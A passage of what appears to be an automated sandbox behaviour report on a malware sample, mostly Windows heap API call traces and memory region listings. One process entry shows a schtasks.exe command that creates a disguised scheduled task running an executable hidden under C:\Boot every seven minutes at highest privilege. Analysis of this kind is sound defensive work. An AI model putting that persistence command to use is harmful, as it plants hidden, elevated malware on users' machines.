HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d9140) returned 1 [0109.291] GetProcessHeap () returned 0x208f92d0000 [0109.291] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d9140) returned 0x20 [0109.291] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d9140) returned 1 [0109.291] GetProcessHeap () returned 0x208f92d0000 [0109.291] GetProcessHeap () returned 0x208f92d0000 [0109.291] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d8f00) returned 1 [0109.291] GetProcessHeap () returned 0x208f92d0000 [0109.291] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d8f00) returned 0x20 [0109.292] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d8f00) returned 1 [0109.292] GetProcessHeap () returned 0x208f92d0000 [0109.292] GetProcessHeap () returned 0x208f92d0000 [0109.292] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d8ed0) returned 1 [0109.292] GetProcessHeap () returned 0x208f92d0000 [0109.292] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d8ed0) returned 0x20 [0109.292] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d8ed0) returned 1 [0109.292] GetProcessHeap () returned 0x208f92d0000 [0109.292] GetProcessHeap () returned 0x208f92d0000 [0109.292] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d8ff0) returned 1 [0109.292] GetProcessHeap () returned 0x208f92d0000 [0109.292] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d8ff0) returned 0x20 [0109.292] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d8ff0) returned 1 [0109.292] GetProcessHeap () returned 0x208f92d0000 [0109.293] GetProcessHeap () returned 0x208f92d0000 [0109.293] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4000) returned 1 [0109.293] GetProcessHeap () returned 0x208f92d0000 [0109.293] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4000) returned 0x18 [0109.293] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4000) returned 1 [0109.293] GetProcessHeap () returned 0x208f92d0000 [0109.293] GetProcessHeap () returned 0x208f92d0000 [0109.293] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d8f90) returned 1 [0109.293] GetProcessHeap () returned 0x208f92d0000 [0109.293] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d8f90) returned 0x20 [0109.293] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d8f90) returned 1 [0109.295] GetProcessHeap () returned 0x208f92d0000 [0109.295] GetProcessHeap () returned 0x208f92d0000 [0109.295] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d8f60) returned 1 [0109.295] GetProcessHeap () returned 0x208f92d0000 [0109.295] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d8f60) returned 0x20 [0109.296] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d8f60) returned 1 [0109.296] GetProcessHeap () returned 0x208f92d0000 [0109.296] GetProcessHeap () returned 0x208f92d0000 [0109.296] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d9050) returned 1 [0109.296] GetProcessHeap () returned 0x208f92d0000 [0109.296] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d9050) returned 0x20 [0109.296] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d9050) returned 1 [0109.296] GetProcessHeap () returned 0x208f92d0000 [0109.296] GetProcessHeap () returned 0x208f92d0000 [0109.296] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d90e0) returned 1 [0109.296] GetProcessHeap () returned 0x208f92d0000 [0109.296] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d90e0) returned 0x20 [0109.296] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d90e0) returned 1 [0109.296] GetProcessHeap () returned 0x208f92d0000 [0109.296] GetProcessHeap () returned 0x208f92d0000 [0109.297] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d8fc0) returned 1 [0109.297] GetProcessHeap () returned 0x208f92d0000 [0109.297] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d8fc0) returned 0x20 [0109.297] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d8fc0) returned 1 [0109.297] GetProcessHeap () returned 0x208f92d0000 [0109.297] GetProcessHeap () returned 0x208f92d0000 [0109.297] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4020) returned 1 [0109.297] GetProcessHeap () returned 0x208f92d0000 [0109.297] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4020) returned 0x18 [0109.297] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4020) returned 1 [0109.297] GetProcessHeap () returned 0x208f92d0000 [0109.297] GetProcessHeap () returned 0x208f92d0000 [0109.297] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d8ea0) returned 1 [0109.297] GetProcessHeap () returned 0x208f92d0000 [0109.297] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d8ea0) returned 0x20 [0109.298] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d8ea0) returned 1 [0109.298] GetProcessHeap () returned 0x208f92d0000 [0109.298] GetProcessHeap () returned 0x208f92d0000 [0109.298] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4a50) returned 1 [0109.298] GetProcessHeap () returned 0x208f92d0000 [0109.298] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4a50) returned 0x18 [0109.298] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4a50) returned 1 [0109.298] exit (_Code=0) Thread: id = 141 os_tid = 0x11e4 Process: id = "10" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x71eec000" os_pid = "0x1220" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"gmailnotifierprog\" /sc MINUTE /mo 7 /tr \"'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2540 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2541 start_va = 0x1d68210000 end_va = 0x1d6828ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000001d68210000" filename = "" Region: id = 2542 start_va = 0x1d68400000 end_va = 0x1d685fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000001d68400000" filename = "" Region: id = 2543 start_va = 0x1ed3dd80000 end_va = 0x1ed3dd9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ed3dd80000" filename = "" Region: id = 2544 start_va = 0x1ed3dda0000 end_va = 0x1ed3ddb4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ed3dda0000" filename = "" Region: id = 2545 start_va = 0x1ed3ddc0000 end_va = 0x1ed3ddc3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ed3ddc0000" filename = "" Region: id = 2546 start_va = 0x1ed3ddd0000 end_va = 0x1ed3ddd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ed3ddd0000" filename = "" Region: id = 2547 start_va = 0x1ed3dde0000 end_va = 0x1ed3dde1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ed3dde0000" filename = "" Region: id = 2548 start_va = 0x7df5ffbf0000 end_va = 0x7ff5ffbeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffbf0000" filename = "" Region: id = 2549 start_va = 0x7ff684290000 end_va = 0x7ff6842b2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684290000" filename = "" Region: id = 2550 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2551 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2552 start_va = 0x1ed3ddf0000 end_va = 0x1ed3e04ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ed3ddf0000" filename = "" Region: id = 2553 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2554 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2555 start_va = 0x1ed3dd80000 end_va = 0x1ed3dd8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ed3dd80000" filename = "" Region: id = 2556 start_va = 0x7ff684190000 end_va = 0x7ff68428ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684190000" filename = "" Region: id = 2557 start_va = 0x1ed3ddf0000 end_va = 0x1ed3deadfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2558 start_va = 0x1ed3df50000 end_va = 0x1ed3e04ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ed3df50000" filename = "" Region: id = 2559 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2560 start_va = 0x1d68290000 end_va = 0x1d6830ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000001d68290000" filename = "" Region: id = 2561 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2562 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2563 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2564 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2565 start_va = 0x1ed3e050000 end_va = 0x1ed3e22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ed3e050000" filename = "" Region: id = 2566 start_va = 0x1ed3dd90000 end_va = 0x1ed3dd96fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ed3dd90000" filename = "" Region: id = 2567 start_va = 0x1ed3e050000 end_va = 0x1ed3e192fff monitored = 0 entry_point = 0x1ed3e078210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2568 start_va = 0x1ed3e220000 end_va = 0x1ed3e22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ed3e220000" filename = "" Region: id = 2569 start_va = 0x1ed3deb0000 end_va = 0x1ed3deb6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ed3deb0000" filename = "" Region: id = 2570 start_va = 0x1ed3dec0000 end_va = 0x1ed3ded2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2571 start_va = 0x1ed3e230000 end_va = 0x1ed3e566fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2572 start_va = 0x1ed3e050000 end_va = 0x1ed3e12cfff monitored = 0 entry_point = 0x1ed3e0ae0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2573 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2574 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2575 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2576 start_va = 0x1ed3dee0000 end_va = 0x1ed3df18fff monitored = 0 entry_point = 0x1ed3dee12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2577 start_va = 0x1ed3e050000 end_va = 0x1ed3e1d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ed3e050000" filename = "" Region: id = 2578 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2586 start_va = 0x1ed3dee0000 end_va = 0x1ed3dee0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ed3dee0000" filename = "" Region: id = 2587 start_va = 0x1ed3def0000 end_va = 0x1ed3def0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001ed3def0000" filename = "" Region: id = 2588 start_va = 0x1ed3e570000 end_va = 0x1ed3e6f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ed3e570000" filename = "" Region: id = 2589 start_va = 0x1ed3e700000 end_va = 0x1ed3fafffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ed3e700000" filename = "" Region: id = 2590 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2591 start_va = 0x1ed3df00000 end_va = 0x1ed3df00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ed3df00000" filename = "" Region: id = 2592 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2593 start_va = 0x1ed3df10000 end_va = 0x1ed3df10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001ed3df10000" filename = "" Region: id = 2594 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2595 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2596 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 142 os_tid = 0x1234 [0109.721] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0109.721] __set_app_type (_Type=0x1) [0109.721] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0109.721] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0109.722] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0109.722] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0109.722] CsrIdentifyAlertableThread () returned 0x0 [0109.722] GetProcessHeap () returned 0x1ed3df50000 [0109.722] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df54ea0 [0109.722] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.722] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0109.722] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0109.722] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0109.722] RtlVerifyVersionInfo (VersionInfo=0x1d6828f610, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0109.722] GetProcessHeap () returned 0x1ed3df50000 [0109.722] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df54ec0 [0109.722] lstrlenW (lpString="") returned 0 [0109.722] GetProcessHeap () returned 0x1ed3df50000 [0109.722] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x2) returned 0x1ed3df54ee0 [0109.722] GetProcessHeap () returned 0x1ed3df50000 [0109.723] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df543f0 [0109.723] GetProcessHeap () returned 0x1ed3df50000 [0109.723] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df54420 [0109.723] GetProcessHeap () returned 0x1ed3df50000 [0109.723] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df54440 [0109.723] GetProcessHeap () returned 0x1ed3df50000 [0109.723] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df54470 [0109.723] GetProcessHeap () returned 0x1ed3df50000 [0109.723] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df53fe0 [0109.723] GetProcessHeap () returned 0x1ed3df50000 [0109.723] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df59120 [0109.723] GetProcessHeap () returned 0x1ed3df50000 [0109.723] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df54010 [0109.723] GetProcessHeap () returned 0x1ed3df50000 [0109.723] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df58e80 [0109.724] GetProcessHeap () returned 0x1ed3df50000 [0109.724] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df58f40 [0109.724] GetProcessHeap () returned 0x1ed3df50000 [0109.724] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df59030 [0109.724] GetProcessHeap () returned 0x1ed3df50000 [0109.724] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df59060 [0109.724] GetProcessHeap () returned 0x1ed3df50000 [0109.724] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df54030 [0109.724] GetProcessHeap () returned 0x1ed3df50000 [0109.724] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df58f70 [0109.724] GetProcessHeap () returned 0x1ed3df50000 [0109.724] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df59150 [0109.724] GetProcessHeap () returned 0x1ed3df50000 [0109.724] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df59180 [0109.724] GetProcessHeap () returned 0x1ed3df50000 [0109.724] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df58f10 [0109.724] SetThreadUILanguage (LangId=0x0) returned 0x409 [0109.726] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.726] GetProcessHeap () returned 0x1ed3df50000 [0109.726] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df591b0 [0109.726] GetProcessHeap () returned 0x1ed3df50000 [0109.726] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df59090 [0109.726] GetProcessHeap () returned 0x1ed3df50000 [0109.726] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df591e0 [0109.726] GetProcessHeap () returned 0x1ed3df50000 [0109.726] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df58fa0 [0109.726] GetProcessHeap () returned 0x1ed3df50000 [0109.726] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df590c0 [0109.726] GetProcessHeap () returned 0x1ed3df50000 [0109.726] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df547e0 [0109.726] _memicmp (_Buf1=0x1ed3df547e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.726] GetProcessHeap () returned 0x1ed3df50000 [0109.726] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x208) returned 0x1ed3df59b20 [0109.726] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ed3df59b20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0109.726] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x1d6828f768 | out: lpdwHandle=0x1d6828f768) returned 0x76c [0109.728] GetProcessHeap () returned 0x1ed3df50000 [0109.728] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x776) returned 0x1ed3df5a880 [0109.728] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1ed3df5a880 | out: lpData=0x1ed3df5a880) returned 1 [0109.728] VerQueryValueW (in: pBlock=0x1ed3df5a880, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1d6828f700, puLen=0x1d6828f760 | out: lplpBuffer=0x1d6828f700*=0x1ed3df5ac30, puLen=0x1d6828f760) returned 1 [0109.730] _memicmp (_Buf1=0x1ed3df547e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.730] _vsnwprintf (in: _Buffer=0x1ed3df59b20, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1d6828f6d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0109.731] VerQueryValueW (in: pBlock=0x1ed3df5a880, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1d6828f6f0, puLen=0x1d6828f758 | out: lplpBuffer=0x1d6828f6f0*=0x1ed3df5aa60, puLen=0x1d6828f758) returned 1 [0109.731] lstrlenW (lpString="schtasks.exe") returned 12 [0109.731] lstrlenW (lpString="schtasks.exe") returned 12 [0109.731] lstrlenW (lpString=".EXE") returned 4 [0109.731] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0109.731] lstrlenW (lpString="schtasks.exe") returned 12 [0109.732] lstrlenW (lpString=".EXE") returned 4 [0109.732] _memicmp (_Buf1=0x1ed3df547e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.732] lstrlenW (lpString="schtasks") returned 8 [0109.732] GetProcessHeap () returned 0x1ed3df50000 [0109.732] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df58eb0 [0109.734] GetProcessHeap () returned 0x1ed3df50000 [0109.734] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df58ee0 [0109.734] GetProcessHeap () returned 0x1ed3df50000 [0109.734] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b420 [0109.734] GetProcessHeap () returned 0x1ed3df50000 [0109.734] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b8d0 [0109.734] GetProcessHeap () returned 0x1ed3df50000 [0109.734] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df54800 [0109.734] _memicmp (_Buf1=0x1ed3df54800, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.734] GetProcessHeap () returned 0x1ed3df50000 [0109.734] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0xa0) returned 0x1ed3df53880 [0109.734] GetProcessHeap () returned 0x1ed3df50000 [0109.734] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b750 [0109.734] GetProcessHeap () returned 0x1ed3df50000 [0109.734] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b3f0 [0109.734] GetProcessHeap () returned 0x1ed3df50000 [0109.734] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b930 [0109.734] GetProcessHeap () returned 0x1ed3df50000 [0109.734] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df54820 [0109.734] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.734] GetProcessHeap () returned 0x1ed3df50000 [0109.734] RtlAllocateHeap (HeapHandle=0x1ed3df50000, 